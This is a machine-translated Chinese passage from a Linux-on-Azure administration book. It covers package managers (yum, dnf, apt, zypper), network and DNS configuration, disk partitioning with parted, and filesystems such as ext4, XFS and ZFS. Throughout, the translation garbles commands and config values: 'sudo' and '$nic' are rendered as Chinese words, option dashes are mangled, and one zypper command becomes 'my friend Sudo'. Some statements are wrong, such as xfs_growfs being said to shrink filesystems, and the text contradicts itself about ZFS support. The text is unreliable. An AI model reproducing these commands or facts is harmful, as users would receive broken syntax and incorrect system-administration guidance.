-**yum**的另一个好特性是与历史一起工作: - -![A list of YUM history commands used to list the tasks or the contents of tasks executed by YUM. The list also contains a command to undo or redo a task.](img/B15455_05_07.jpg) - -###### 图 5.7:YUM 历史命令及其描述 - -**yum**命令使用存储库来完成所有的软件管理。 要列出当前配置的存储库,使用以下命令: - -yum repolist - -要添加另一个存储库,您需要**yum-config-manager**工具,该工具创建和修改**/etc/yum. reposit 中的配置文件。 d**。 例如,如果你想添加一个存储库来安装 Microsoft SQL Server,使用以下命令: - -yum-config-manager——add-repo \ - -  https://packages.microsoft.com/config/rhel/7/\ - -该服务器- 2017.回购 - -可以通过插件来扩展**yum**功能,例如,可以选择最快的镜像,启用文件系统**/**LVM 快照,并将**yum**作为一个计划任务(cron)运行。 - -### 基于 DNF 的软件管理 - -在 Red Hat Enterprise Linux 8 以及基于该发行版的所有发行版以及 Fedora 上,**yum**命令被 DNF 取代。 语法是相同的,所以只需要替换三个字符。 **yum-config-manager**命令被替换为**dnf config-manager**。 - -它不是一个单独的实用程序,而是与**dnf**命令本身集成。 - -它还有新的功能。 RHEL 8 具有软件模块化,也称为**AppStreams**。 作为一个打包概念,它允许系统管理员从多个可用版本中选择所需的软件版本。 顺便说一下,目前可能只有一个版本可用,但更新的版本将会出现! 例如,一个可用的 AppStreams 是 Ruby 编程解释器。 让我们来看看这个模块: - -Sudo DNF 模块列表 ruby - -![Ruby programming interpreter module indicating the current available version 2.5.](img/B15455_05_08.jpg) - -###### 图 5.8:Ruby 编程解释器模块 - -从前面的输出中,您可以看到在撰写本书时,只有 2.5 版本可用; 更多版本将会及时添加。 这是默认版本,但没有启用也没有安装。 - -要启用和安装 AppStreams,请执行以下命令: - -Sudo DNF 模块启用 ruby:2.5 - -安装 ruby 的 Sudo DNF 模块 - -如果你再次列出 AppStreams,输出就会改变: - -![e and i in the output indicate that Ruby 2.5 is enabled and installed.](img/B15455_05_09.jpg) - -###### 图 5.9:安装并启用 Ruby 2.5 - -提示:要知道 AppStreams 安装了哪些包,你可以使用以下命令: - -Sudo DNF 模块信息 ruby - -#### 请注意 - -了解更多关于订阅管理器的信息,请访问[https://access.redhat.com/ecosystem/ccsp/microsoft-azure](https://access.redhat.com/ecosystem/ccsp/microsoft-azure)。 - -### DPKG 软件管理器 - -Debian 发行版不使用 RPM 格式; 相反,它使用了 1995 年发明的 DEB 格式。 该格式在所有基于 Debian 和 ubuntu 的发行版中都被使用。 - -一个 DEB 包包含以下内容: - -* 一个包含软件包版本的文件**debian-binary**。 -* 一个归档文件**control.tar**,包含元数据(包名、版本、依赖项和维护者)。 -* 包含实际软件的存档文件**data.tar**。 - -DEB 包的管理可以用**dpkg**实用程序来完成。 与**rpm**一样,**dpkg**实用程序不再用于安装软件,尽管该功能可用。 相反,使用更高级的**apt**命令。 不过,最好了解 dpkg 命令的基本知识。 - -所有元数据都进入一个数据库,可以通过**dpkg**或**dpkg-query**进行查询。 - -**dpkg-query**的重要参数如下: - -![A list of dpkg-query parameters used to list files in installed pacakage and show information and state of the package.](img/B15455_05_10.jpg) - -###### 图 5.10:重要的**dpkg-query 参数** - -**dpkg -l**输出的第一列还显示了包是否安装,或未打包,或半安装,等等: - -![ii in the outout of the dpkg -l command, indicating that the package is installed.](img/B15455_05_11.jpg) - -###### 图 5.11**dpkg -l**命令输出 - -第一列中的第一个字符是期望的操作,第二个字符是包的实际状态,可能的第三个字符表示错误标志(**R**)。 **ii**表示安装包。 - -可能的期望状态如下: - -* **u**:未知 -* **i**:安装 -* **h**:等待 -* **r**:移除 -* **p**:吹扫 - -重要的包状态如下: - -* **n**:not - the package is not installed。 -* **i**:install - the package is successfully installed。 -* **c**:cfg -files—配置文件已经存在。 -* **u**:未包装-包裹仍未包装。 -* **f**:Failed-cfg-failed to remove the configuration file .日志含义 -* **h**:half -in—软件包只是部分安装。 - -### 运用 apt 进行软件管理 - -在基于 Debian / ubuntu 的发行版中,软件管理是通过**apt**实用程序完成的,它是**apt-get**和**apt-cache**实用程序的最新替代品。 - -最常用的命令包括: - -![A list of common apt commands and their purpose.](img/B15455_05_12.jpg) - -###### 图 5.12:常见的**apt 命令及其描述** - -存储库是在**/etc/apt/sources.中配置的 在**/etc/apt/sources.list 中列出**目录和文件。 d/**目录。 或者,可以使用**apt-add-repository**命令: - -apt-add-repository \ - -“黛比 http://myserver/path/to/repo 稳定” - -**apt**存储库有发布类的概念,下面列出了其中一些: - -* **oldstable**:该软件在发行版的前一个版本中测试过,但在当前版本中没有再次测试。 -* **stable**:软件正式发布。 -* **测试**:软件还没有**稳定**,但是已经在开发中了。 -* **不稳定**:软件开发正在进行,主要由开发人员运行。 - -这些存储库也有组件的概念,也被称为主存储库: - -* **main**:测试并提供支持和更新 -* **contrib**:测试并提供支持和更新,但是有一些依赖项不在主系统中,而是在**非空闲**中 -* **非免费**:不符合 Debian 社会契约准则的软件([https://www.debian.org/social_contract#guidelines](https://www.debian.org/social_contract#guidelines)) - -Ubuntu 增加了几个额外的组件或存储库: - -* **Universe**:社区提供,不支持,可能更新 -* **受限**:专有设备驱动程序 -* **Multiverse**:受版权或法律问题限制的软件 - -### ZYpp 软件管理 - -SUSE 和 Red Hat 一样,使用 RPM 进行包管理。 但是他们并没有使用**yum**,而是使用了另一个带有 ZYpp(也称为 libzypp)的工具集作为后端。 软件管理可以使用图形化配置软件 YaST 或命令行界面工具 Zypper 来完成。 - -#### 请注意 - -YUM 和 DNF 也可以在 SUSE 软件存储库中使用。 您可以使用它们来管理本地系统上的软件(仅限于安装和删除),但这不是它们可用的原因。 原因在于 Kiwi:一个用于构建操作系统映像和安装程序的应用。 - -重要的基本参数如下: - -![A list of Zypper commands used to install, upgrade, search, remove, update a software and provide information on the software.](img/B15455_05_13.jpg) - -###### 图 5.13:重要的 Zypper 命令及其描述 - -有一个搜索选项可以搜索命令**what- provided**,但是这个选项非常有限。 如果您不知道包的名称,可以使用一个名为**cnf**的实用程序。 在您使用**cnf**之前,您需要安装**scout**; 这样,包属性就可以被搜索了: - -Sudo zypper 安装侦察兵 - -之后,您可以使用**cnf**: - -![Using the cnf utility displays the package that will be installed along with data usage details.](img/B15455_05_14.jpg) - -###### 图 5.14:使用 cnf 实用程序 - -如果您想将您的系统更新为一个新的发行版,您必须首先修改存储库。 例如,如果您想从 SUSE 42.3 飞跃,更新基于**SUSE Linux Enterprise Server**(**SLES**),到 15.0 版本,基于**SUSE Linux Enterprise**(**系统性红斑狼疮**),执行以下程序: - -1. First, install the available updates for your current version: - - sudo zypper 更新 - -2. Update to the latest version in the 42.3.x releases: - - sudo zypper dist-upgrade - -3. Modify the repository configuration: - - /etc/zypp/repos.d/*.repo . /etc/zypp/repos.d/*.repo - -4. Initialize the new repositories: - - sudo zypper 刷新 - -5. Install the new distribution: - - sudo zypper dist-upgrade - -当然,您必须在发行版升级之后重新启动。 - -除了安装软件包外,还可以安装以下软件: - -* **模式**:一组包,例如,安装一个完整的 web 服务器,包括 PHP 和 MySQL(也称为 LAMP) -* **patches**:一个包的增量更新 -* **产品**:附加产品的安装 - -要列出可用的模式,使用以下命令: - -zypper patterns - -使用以下命令安装它们: - -sudo zypper 安装型式 - -同样的过程也适用于补丁和产品。 - -Zypper 使用在线存储库查看当前配置的存储库: - -我的朋友苏多 - -您可以使用**addrepo**参数添加存储库; 例如,要在 LEAP 15.0 上为最新的 PowerShell 版本添加一个社区存储库,执行以下命令: - -苏珊 - -  https://download.opensuse.org/repositories\ - -/: / aaptel: / powershell-stuff / openSUSE_Leap_15.0 / \ - -  home:aaptel:powershell-stuff.repo - -如果你添加一个存储库,你总是需要刷新存储库: - -sudo zypper 刷新 - -#### 请注意 - -SUSE 有可信任或不信任存储库的概念。 如果不信任某个供应商,则需要在**install**命令中添加**——from**参数。 也可以在**/etc/vendors.目录下添加配置文件 d**,如: - -**【主要】** - -**vendors = suse,opensuse,obs://build.suse.de** - -可以通过**zypper 信息**找到一个包的供应商。 - -现在您知道了如何管理您的发行版中的软件,让我们继续讨论网络。 在前一章中,我们讨论了 Azure 中的网络资源; 现在是学习 Linux 网络的时候了。 - -## 网络 - -在 Azure 中,网络设置,例如 IP 地址和 DNS 设置,是通过**动态主机配置协议**(**DHCP**)提供的。 该配置非常类似于运行在另一个平台上的物理机器或 vm 的配置。 区别在于,配置是由 Azure 提供的,通常不应该更改。 - -在本节中,您将学习如何识别 Linux 中的网络配置,以及如何将这些信息与前一章中介绍的 Azure 中的设置相匹配。 - -### 识别网络接口 - -在引导过程中和之后,Linux 内核负责硬件识别。 当内核识别硬件时,它将收集到的信息交给一个进程,一个运行的守护进程(后台进程),名为**systemd-udevd**。 这个守护进程做以下工作: - -* 如果需要,加载网络驱动程序。 -* 它可以承担设备命名的责任。 -* 更新**/sys**所有可用信息。 - -**udevadm**实用程序可以帮助您显示已识别的硬件。 可以使用**udevadm info**命令查询**udev**数据库中的设备信息: - -![The udevadm info command is used to query the udev database for device information.](img/B15455_05_15.jpg) - -###### 图 5.15:使用**udevadm info**命令检索设备信息 - -而不是使用**udevadm**,你也可以到**/ sys /类/净**目录并查看**猫**命令可用的文件,但这并不是一个非常友好的方法,通常情况下,没有必要这样做,因为有实用程序解析所有可用的信息。 - -最重要的实用程序是**ip**命令。 让我们从列出可用的网络接口及其相关信息开始: - -ip 链接显示 - -前面的命令应该会给出如下输出: - -![Listing the available network interfaces and their info using the ip link show command.](img/B15455_05_16.jpg) - -###### 图 5.16:使用 ip link show 列出可用的网络接口 - -一旦列出可用的网络接口,您可以更具体: - -IP link show dev eth0 - -所有状态标志的含义,如**LOWER_UP**,可以在**man 7 网络设备**中找到。 - -### IP 地址识别 - -学习完网络接口的名称后,可以使用**ip**实用程序显示在网络接口上配置的 ip 地址,如下图所示: - -![The ip utility command is used to show the ip address configured on the network interface.](img/B15455_05_17.jpg) - -###### 图 5.17:使用 ip 实用程序检索已配置的 ip 地址 - -### 显示路由表 - -路由表是一种存储在 Linux 内核中的结构,其中包含关于如何路由数据包的信息。 通过配置路由表,使报文按照规则或条件走一条路由。 例如,你可以声明如果报文的目的地是 8.8.8.8,那么它应该被发送到网关。 路由表可以按设备或子网显示: - -![Using the ip route show command to display the route table.](img/B15455_05_18.jpg) - -###### 图 5.18 显示路由表 - -另一个很好的特性是,你可以查询什么设备和网关被用来到达一个特定的 IP: - -![Using the ip route get command to query the device and gateway to be used.](img/B15455_05_19.jpg) - -###### 图 5.19:查询特定 IP 使用的设备和网关 - -### 网络配置 - -现在我们知道了如何识别接口的 IP 地址和为接口定义的路由,让我们看看如何在 Linux 系统上配置这些 IP 地址和路由。 - -**ip**命令主要用于验证配置是否正确。 持久配置通常由另一个守护进程管理。 不同的发行版有不同的守护进程来管理网络: - -* RHEL 发行版使用**NetworkManager**。 -* 在 SLE 和 OpenSUSE LEAP 中使用**wicked**。 -* 在 Ubuntu 17.10 及以后版本中,使用了**systemd-networkd**和**systemd-resolved**,早期版本的 Ubuntu 完全依赖于在**/etc/network/interfaces 中配置的 DHCP 客户端。 d/*cfg**文件。 - -在 Ubuntu 中,Azure Linux Guest Agent 在**/run/system/network**目录下创建两个文件。 一个是名为**10-netplan-eth0 的链接文件。 链接**,根据 MAC 地址保存设备名称: - -(比赛) - -MACAddress = 00:…… - -(链接) - -Name = eth0 - -WakeOnLan=off - -另一个是**10-netplan-eth0.network**用于实际网络配置: - -(比赛) - -MACAddress = 00:…… - -Name = eth0 - -(网络) - -DHCP=ipv4 - -(DHCP) - -UseMTU = true - -RouteMetric = 100 - -如果您有多个网络接口,就会创建多个文件集。 - -在 SUSE 操作系统中,Azure Linux Guest Agent 创建一个文件**/etc/sysconfig/network/ifcfg-eth0**,文件内容如下: - -BOOTPROTO='dhcp' - -DHCLIENT6_MODE = '管理' - -=“能告诉我 - -REMOTE_IPADDR='' - -STARTMODE='onboot' - -CLOUD_NETCONFIG_MANAGE = '是的' - -**wicked**守护进程读取这个文件并将其用于网络配置。 在 Ubuntu 中,如果你有多个网络接口,就会创建多个文件。 使用**wicked**命令可以查看配置的状态: - -![The wicked show command provides network configuration status details.](img/B15455_05_20.jpg) - -###### 图 5.20:使用 wicked show 命令检查配置状态 - -RHEL 和 CentOS 在**/etc/sysconfig/network-scripts**目录下创建**ifcfg-**文件: - -设备= eth0 - -ONBOOT=yes - -BOOTPROTO=dhcp - -TYPE =以太网 - -USERCTL=no - -PEERDNS = yes - -IPV6INIT =不 - -NM_CONTROLLED =没有 - -DHCP_HOSTNAME =… - -如果**NM_CONTROLLED**被设置为**no**,那么**NetworkManager**将无法控制连接。 大多数 Azure Linux 机器都将此设置为**yes**; 然而,你可以在**/etc/sysconfig/network-scripts**目录下的**ifcfg-**文件中验证它。 可以使用**nmcli**命令显示设备设置,但不能修改这些设置: - -![nmcli command is used to show the complete information of your device settings.](img/B15455_05_21.jpg) - -###### 图 5.21:使用**nmcli**命令显示设备设置 - -### 网络配置的变化 - -如前所述,每个网络设置都是由 Azure DHCP 服务器提供的。 到目前为止,我们所学的一切都是关于验证在 Azure 中配置的网络设置。 - -如果在 Azure 中更改了某些内容,则需要在 Linux 中重新启动网络。 - -在 SUSE 和 CentOS 操作系统中,可以使用如下命令: - -重启网络 - -在最新版本的 Ubuntu Server 上,使用如下命令: - -重启 systemd-networkd - -Sudo systemctl restart systems-resolved .重启系统 - -### 主机名 - -虚拟机的当前主机名可以通过**hostnamectl**实用程序找到: - -![Fetching the hostname details using the hostnamecl utility.](img/B15455_05_22.jpg) - -###### 图 5.22:使用**hostnamectl**实用程序获取主机名 - -主机名是由 Azure 中的 DHCP 服务器提供的; 要查看在 Azure 中配置的主机名,您可以使用 Azure 门户、Azure CLI 或 PowerShell。 以 PowerShell 为例,使用如下命令: - -$myvm=Get-AzVM -Name CentOS-01 ' - --ResourceGroupName MyResource1 - -$myvm.OSProfile.ComputerName - -在 Linux 中,您可以使用**hostnamectl**实用程序更改主机名: - -set-hostname(主机名) - -sudo systemctl restart waagent #RedHat & SUSE - -重启 walinuxagent #Ubuntu - -这应该改变您的主机名。 如果不工作,检查 Azure Linux 虚拟机代理的配置文件**/etc/waagent.conf**: - -供应。 MonitorHostName = y - -如果仍然不能正常工作,请编辑**/var/lib/waagent/ovf-env.xml**文件,并更改**HostName**参数。 另一个可能的原因是**ifcfg-**文件中的**DHCP_HOSTNAME**行; 只需删除它并重新启动**NetworkManager**。 - -### DNS - -DNS 设置也通过 Azure DHCP 服务器提供。 在 Azure 中,设置被附加到虚拟网络接口。 可以在 Azure portal、PowerShell(**Get-AZNetworkInterface**)或 Azure CLI(**az vm nic show**)中查看。 - -当然,您可以配置自己的 DNS 设置。 在 PowerShell 中,声明虚拟机并识别网络接口: - -$myvm = Get-AzVM -Name' - --ResourceGroupName - -$nicid = $myvm.NetworkProfile.NetworkInterfaces.Id - -最后一个命令将为您提供所需网络接口的完整 ID; 该 ID 的最后一部分是接口名称。 现在让我们从输出中删除它并请求接口属性: - -$nicname = $nicid.split("/")[-1] - -$nic = Get-AzNetworkInterface ' - -  -ResourceGroupName -Name $nicname - -美元的网卡 - -如果你看一下变量**$nic**的值,你可以看到它包含了我们需要的所有信息: - -![Listing the Netwrork interface properties using the $nic variable.](img/B15455_05_23.jpg) - -###### 图 5.23:使用$nic 变量获取接口属性 - -最后一步是更新 DNS 命名服务器设置。 在本书中,我们使用了**9.9.9.9**,这是一个公共的、免费的 DNS 服务,称为 Quad9。 您也可以使用谷歌(**8.8.8.8**和**8.8.4.4**的 DNS 服务: - -$nic.DnsSettings.DnsServers.Add("9.9.9.9") - -美元 nic | Set-AzNetworkInterface - -$nic | Get-AzNetworkInterface | ' - -Select-Object -ExpandProperty DnsSettings - -使用 Azure CLI 的方法与此类似,但涉及的步骤更少。 搜索网络接口名称: - -nicname=$(az vm nic list \ - -——resource-group\ - -——vm-name——query '[]。 Id ' -o TSV | cut -d "/" -f9) - -更新 DNS 设置: - -az 网络网卡更新-g MyResource1——name $nicname \ - -——dns 服务器 9.9.9.9 - -然后验证新的 DNS 设置: - -az network nic show -resource-group\ - -  --name $nicname --query "dnsSettings" - -在 Linux 虚拟机中,需要更新 DHCP 租期才能接收新的设置。 为了做到这一点,你可以在 RHEL 中运行**systemctl restart NetworkManager**或者在 Ubuntu 中运行**dhclient -r**。 配置文件保存在**/etc/resolv.conf**文件中。 - -在 Linux 发行版使用的网络实现**systemd**,如 Ubuntu,**/etc/resolv.conf 文件是一个符号链接到一个文件在**/运行/ systemd /解析/**目录,和**sudo systemd-resolve——状态**命令显示您当前的设置:** - -link 2 (eth0) - -当前作用域:DNS - -LLMNR 设置:是的 - -MulticastDNS 设置:没有 - -DNSSEC 设置:没有 - -DNSSEC 支持:不 - -DNS 服务器:9.9.9.9 - -           DNS 域:reddog.microsoft.com - -要测试 DNS 配置,您可以使用**dig**,或者更简单的**主机**实用程序,如下所示: - -dig www.google.com A - -## 存储 - -在前一章中,我们讨论了如何创建磁盘并将其绑定到 VM,但我们的工作并没有结束。 我们必须将磁盘分区或挂载到 Linux 机器上。 在本节中,我们将讨论 Linux 中的存储管理。 在 Azure 中有两种类型的存储:绑定到 VM 的虚拟磁盘和 Azure 文件共享。 本章将介绍这两种类型。 我们将讨论以下议题: - -* 为虚拟机添加单个虚拟磁盘 -* 使用文件系统 -* 使用**逻辑卷管理器**(**LVM**)和 RAID 软件处理多个虚拟磁盘 - -### 块设备提供的存储 - -本地存储和远端存储可以通过块设备下发。 在 Azure,几乎总是一个虚拟硬盘连接到 VM,但可以使用**互联网小型计算机系统接口**(**iSCSI)卷,由微软 Azure StorSimple 或第三方。** - - **连接到虚拟机的每个磁盘都由内核标识,在标识之后,内核将其交给一个名为**systemd-udevd**的守护进程。 这个守护进程负责在**/dev**目录中创建一个条目,更新**/sys/class/block**,并在必要时加载一个驱动程序来访问文件系统。 - -**/dev**中的设备文件提供了一个到块设备的简单接口,并被 SCSI 驱动程序访问。 - -有多种方法来识别可用的块设备。 一种可能是使用**lsscsi**命令: - -![A list of available block devices.](img/B15455_05_24.jpg) - -###### 图 5.24:使用**lsscsi**命令识别块设备 - -第一个可用磁盘称为**sda**-SCSI 磁盘 a。该磁盘是由虚拟机发放过程中使用的映像磁盘创建的,也称为根磁盘。 您可以通过**/dev/sda**或**/dev/disk/azure/root**访问该磁盘。 - -另一种识别可用存储的方法是使用**lsblk**命令。 它可以提供关于磁盘内容的更多信息: - -![Gaining disk content information using the lsblk command.](img/B15455_05_25.jpg) - -###### 图 5.25:使用 lsblk 命令识别可用存储 - -在本例中,在**/dev/sda, sda1**和**sda2**上创建了两个分区(或者**/dev/disk/azure/root-part1**和**root-part2**)。 第二列中的主要数字**8**表示这是一个 SCSI 设备; 次要的部分只是编号。 第三列告诉我们,设备不移动,由**0 表示**(这是一个【病人】1 如果是可移动),和第五列告诉我们,驱动器和分区不是只读:,**1 只读和读写**【t16.1】0。 - -还有一个磁盘可用,即资源磁盘**/dev/sdb**(**/dev/disk/azure/resource**),这是一个临时磁盘。 这意味着数据不是持久的,在重新引导后就会消失,用于存储页面或交换文件等数据。 Swap 类似于 Windows 中的虚拟内存,它在物理 RAM 满时使用。 - -### 添加数据磁盘 - -在本节中,我们将回顾在前一章中所做的,以继续练习并帮助您熟悉这些命令。 如果已有添加数据磁盘的虚拟机,可跳过本节。 - -您可以使用 Azure 门户或通过 PowerShell 向 VM 添加一个额外的虚拟磁盘。 让我们添加一个磁盘: - -1. First, declare how we want to name our disk and where the disk should be created: - - 美元 resourcegroup = '【工人】' - - $location = '' - - 美元 diskname = '【工人】' - - $vm = Get-AzVM ' - - -Name' - - -ResourceGroupName resourcegroup 美元 - -2. Create the virtual disk configuration—an empty, standard managed disk of 2 GB in size: - - $diskConfig = New-AzDiskConfig - - -SkuName ' Standard_LRS ' ' - - 位置位置的美元 - - -创造选择" empty " - -    -DiskSizeGB 2 - -3. Create the virtual disk using this configuration: - - $dataDisk1 = New-AzDisk ' - -   -DiskName $diskname ' - -   -Disk $diskConfig ' - - -ResourceGroupName resourcegroup 美元 - -4. Attach the disk to the VM: - - $vmdisk = Add-AzVMDataDisk ' - - -VM $vm -Name $diskname ' - - -CreateOption 附加的 - - -ManagedDiskId dataDisk1 美元。 Id ' - -   -Lun 1 - - Update-AzVM ' - - vm 虚拟机的美元 - - -ResourceGroupName resourcegroup 美元 - -5. Of course, you can use the Azure CLI as well: - - Az 磁盘创建\ - - ——resource-group\ - - ——名称\ - - ——location\ - - ——size-gb 2 \ - - ——sku Standard_LRS \ - - Az 虚拟机磁盘挂载\ - - —磁盘\ - - ——vm-name\ - - ——resource-group\ - - ——伦 - - #### 请注意 - - LUN (Logical Unit Number)是逻辑单元号(Logical Unit Number)的缩写,是用来标识存储(在我们这里是虚拟存储)的一个数字或标识符,它可以帮助用户区分存储。 你可以从 0 开始编号。 - -创建完成后,虚拟机中可以看到虚拟磁盘为**/dev/sdc**(**/dev/disk/azure/scsi1/lun1**)。 - -提示:**如果无法使用**,则执行**rescan-scsi-bus**命令,该命令是**sg3_utils**包的一部分。 - -再看一下**lssci**的输出: - -1.0 /dev/sdc[5:0:0:1]微软虚拟磁盘 - -第一列被格式化: - -【t】::: - -**主机总线适配器**是到存储的接口,由 Microsoft Hyper-V 虚拟存储驱动程序创建。 通道 ID 始终为**0**,除非您配置了多路径。 目标 ID 标识控制器上的 SCSI 目标; 对于 Azure 中直接连接的设备,这个值总是为零。 - -### 分区 - -在使用块设备之前,需要对其进行分区。 有多种可用的分区工具,有些发行版自带了创建和操作分区表的实用程序。 例如,SUSE 的 YaST 配置工具中就有一个。 - -在本书中,我们将使用**parted**实用程序。 这是在每个 Linux 发行版上默认安装的,可以处理所有已知的分区布局:**msdos**,**gpt**,**sun**,等等。 - -你可以在命令行中以脚本方式使用**parted**,但是,如果你是新手**parted**,使用交互式 shell 会更容易: - -分开/dev/sdc - -GNU Parted 3.1 - -使用/dev/sdc - -欢迎来到 GNU Parted! 键入“help”查看命令列表。 - -1. The first step is to show the information available regarding this device: - - (分开)打印 - - 错误:/dev/sdc:无法识别的磁盘标签 - - 型号:Msft 虚拟磁盘(scsi) - - 磁盘/dev/sdc: 2147 mb - - 扇区大小(逻辑/物理):512B/512B - - 分区表:未知 - - 磁盘国旗: - - 这里重要的一行是**未识别的磁盘标签**。 这意味着没有创建分区布局。 现在,最常见的布局是**GUID 分区表**(**GPT**)。 - - #### 请注意 - - **parted**支持问号后自动补全-按*Ctrl*+*I*两次。 - -2. Change the partition label to **gpt**: - - (散开)mklabel - - 新的磁盘标签类型? gpt - -3. Verify the result by printing the disk partition table again: - - (分开)打印 - - 型号:Msft 虚拟磁盘(scsi) - - 磁盘/dev/sdc: 2147 mb - - 扇区大小(逻辑/物理):512B/512B - - gpt 分区表: - - 磁盘国旗: - - 编号开始结束大小文件系统名称标志 - -4. The next step is to create a partition: - - (parted) mkpart - - 分区的名字吗? []吗? lun1_part1 - - 文件系统类型? (ext2) ? xfs - - 开始的? 0% - - 结束? 100% - - 文件系统将在本章后面介绍。 对于大小调整,您可以使用百分比或固定大小。 一般来说,在 Azure 中,使用整个磁盘更有意义。 - -5. Print the disk partition table again: - - (分开)打印 - - 型号:Msft 虚拟磁盘(scsi) - - 磁盘/dev/sdc: 2147 mb - - 扇区大小(逻辑/物理):512B/512B - - gpt 分区表: - - 磁盘国旗: - - 数量开始结束大小文件系统名称标志 - - 1 1049 kb 2146 mb 2145 mb                 lun1_part1 - - 请注意,文件系统列仍然是空的,因为该分区还没有格式化。 - -6. 按*Ctrl*+*D*,或**quit**,退出**parted**。 - -### Linux 中的文件系统 - -文件系统有它们组织数据的机制,这将因文件系统而异。 如果我们比较一下可用的文件系统,我们会发现一些更快,一些专为更大的存储设计,一些专为处理更小的数据块设计。 您对文件系统的选择应该取决于最终需求和存储的数据类型。 Linux 支持许多文件系统—本地 Linux 文件系统,如 ext4 和 XFS,以及第三方文件系统,如 FAT32。 - -每个发行版都支持本地文件系统,ext4 和 XFS; 最重要的是,SUSE 和 Ubuntu 支持一个非常现代的文件系统:BTRFS。 Ubuntu 是少数几个支持 ZFS 文件系统的发行版之一。 - -格式化完文件系统后,可以将其挂载到根文件系统。 **mount**命令的基本语法如下: - -mount - -分区可以使用设备名称、标签或**通用唯一标识符**(**UUID**)进行命名。 可以使用**mount**命令或通过**ZFS**实用程序挂载 ZFS。 - -另一个重要的文件系统是交换文件系统。 除了普通的文件系统之外,还有其他特殊的文件系统:devfs、sysfs、procfs 和 tmpfs。 - -让我们从简短描述文件系统及其相关实用程序开始。 - -### **ext4 文件系统** - -ext4 是一种本机 Linux 文件系统,是作为 ext3 的后继版本开发的,多年来它一直是(对于某些发行版来说仍然是)默认文件系统。 它提供了稳定性,高容量,可靠性和性能,同时需要最小的维护。 除此之外,您还可以毫无问题地调整(增加/减少)文件系统的大小。 - -好消息是,它可以以非常低的要求提供这种服务。 当然,也有坏消息:它非常可靠,但它不能完全保证数据的完整性。 如果数据在磁盘上已经损坏,ext4 无法检测或修复这种损坏。 幸运的是,由于 Azure 的底层架构,这种情况不会发生。 - -Ext4 不是最快的文件系统,但是,对于许多工作负载,Ext4 和竞争对手之间的差距非常小。 - -最重要的实用程序如下: - -* **mkfs。 ext4**:格式化文件系统 -* **e2label**:修改文件系统的标签 -* **tune2fs**:修改文件系统参数 -* **dump2fs**:显示文件系统参数 -* **resize2fs**:修改文件系统的大小 -* **fsck。 ext4**:检查和修复文件系统 -* **e2freefrag**:碎片整理报告 -* **e4defrag**:对文件系统进行碎片整理; 通常不需要 - -使用如下命令创建 ext4 文件系统: - -sudo mkfs。 ext4 -L - -这个标签是可选的,但是它更容易识别文件系统。 - -### **XFS 文件系统** - -XFS 是一个高度可伸缩的文件系统。 它可以缩放到 8 EiB (exbibyte = 2^60 字节)与在线调整; 只要有未分配的空间,文件系统就可以增长,它可以跨越多个分区和设备。 - -XFS 是最快的文件系统之一,尤其是与 RAID 卷结合使用时。 然而,这是有代价的:如果要使用 XFS, VM 中至少需要 1gb 的内存。 如果您希望能够修复文件系统,您至少需要 2 GB 的内存。 - -XFS 的另一个很好的特性是,您可以暂停文件系统的通信,从而为数据库服务器等创建一致的备份。 - -最重要的实用程序如下: - -* **mkfs。 xfs**:格式化文件系统 -* **xfs_admin**:修改文件系统参数 -* **xfs_growfs**:减小文件系统大小 -* **xfs_repair**:检查和修复文件系统 -* **xfs_freeze**:暂停对 XFS 文件系统的访问; 这使得一致备份更加容易 -* **xfs_copy**:快速复制 XFS 文件系统的内容 - -使用如下命令创建 XFS 文件系统: - -sudo mkfs。 xfs -L - -这个标签是可选的,但是它更容易识别文件系统。 - -### **ZFS 文件系统** - -ZFS 是一个由 SUN 开发的文件系统和逻辑卷管理器,自 2005 年以来由 Oracle 拥有。 它以其出色的性能和丰富的功能而闻名: - -* 卷管理和 RAID -* 防止数据损坏 -* 数据压缩和重复数据删除 -* 可扩展到 16 艾字节 -* 能够导出文件系统 -* 快照支持 - -ZFS 可以通过用户空间驱动程序(FUSE)或 Linux 内核模块(OpenZFS)在 Linux 上实现。 在 Ubuntu 中,最好使用内核模块; 它的性能更好,并且没有 FUSE 实现的一些限制。 例如,如果使用 FUSE,就不能使用 NFS 导出文件系统。 - -OpenZFS 没有被广泛采用的主要原因是许可。 OpenZFS 的**Common Development and Distribution License**(**CDDL**)License 与 Linux 内核的 General Public License 不兼容。 另一个原因是 ZFS 可能是一个真正的内存消耗者; 您的虚拟机每 TB 的存储需要额外的 1gb 内存,这意味着 16tb 的存储需要 16gb 的 RAM 用于应用。 对于 ZFS,建议至少有 1gb 的内存。 但是越多越好,因为 ZFS 使用了大量内存。 - -最重要的实用程序如下: - -* **zfs**:配置 zfs 文件系统 -* **zpool**:配置 ZFS 存储池 -* **zfs。 fsck**:检查和修复 ZFS 文件系统 - -在本书中,只介绍了 ZFS 的基本功能。 - -Ubuntu 是唯一支持 ZFS 的发行版。 为了能够在 Ubuntu 中使用 ZFS,你必须安装 ZFS 实用程序: - -安装 zfsutils-linux - -安装之后,您可以开始使用 ZFS。 让我们假设您向 VM 添加了三个磁盘。 使用 RAID 0 是一个好主意,因为它提供了比单个磁盘更好的性能和吞吐量。 - -作为第一步,让我们创建一个包含两个磁盘的池: - -sudo zpool create -f mydata /dev/sdc /dev/sdd - -戴达 - -须藤戴达状态 - -现在让我们添加第三个磁盘,来展示如何扩展池: - -sudo zpool add mydata /dev/sde - -戴达 - -sudo zpool history mydata - -你可以直接使用这个池,或者你可以在其中创建数据集来更细粒度地控制特性,比如配额: - -Sudo ZFS 创建 mydata/finance - -sudo zfs set quota=5G mydata/finance - -sudo zfs 列表 - -最后但并非最不重要的,你需要挂载这个数据集才能使用它: - -Sudo ZFS 设置 mountpoint=/home/finance mydata/finance - -findmnt /home/finance - -这个挂载在重新启动期间将是持久的。 - -**BTRFS 文件系统** - -BTRFS 是一个相对较新的文件系统,主要由 Oracle 开发,但有 SUSE 和 Facebook 等公司的贡献。 - -就功能而言,它与 ZFS 非常相似,但它仍处于大量开发之中。 这意味着并不是所有的功能都被认为是稳定的。 在使用该文件系统之前,请访问[https://btrfs.wiki.kernel.org/index.php/Status](https://btrfs.wiki.kernel.org/index.php/Status)。 - -内存需求与 XFS 相同:VM 中有 1gb 的内存。 如果您想要修复文件系统,则不需要额外的内存。 - -在本书中,只介绍了 BTRFS 的基本功能。 您可以在所有发行版上使用 BTRFS,但是请注意,在 RHEL 和 CentOS 上,文件系统被标记为 deprecated,在 RHEL 8 中,它被删除了。 更多信息,请访问[https://access.redhat.com/solutions/197643](https://access.redhat.com/solutions/197643)。 - -最重要的实用程序如下: - -* **mkfs。 btrfs**:用该文件系统格式化设备 -* **btrfs**:管理文件系统 - -让我们假设您向 VM 添加了三个磁盘。 使用 RAID 0 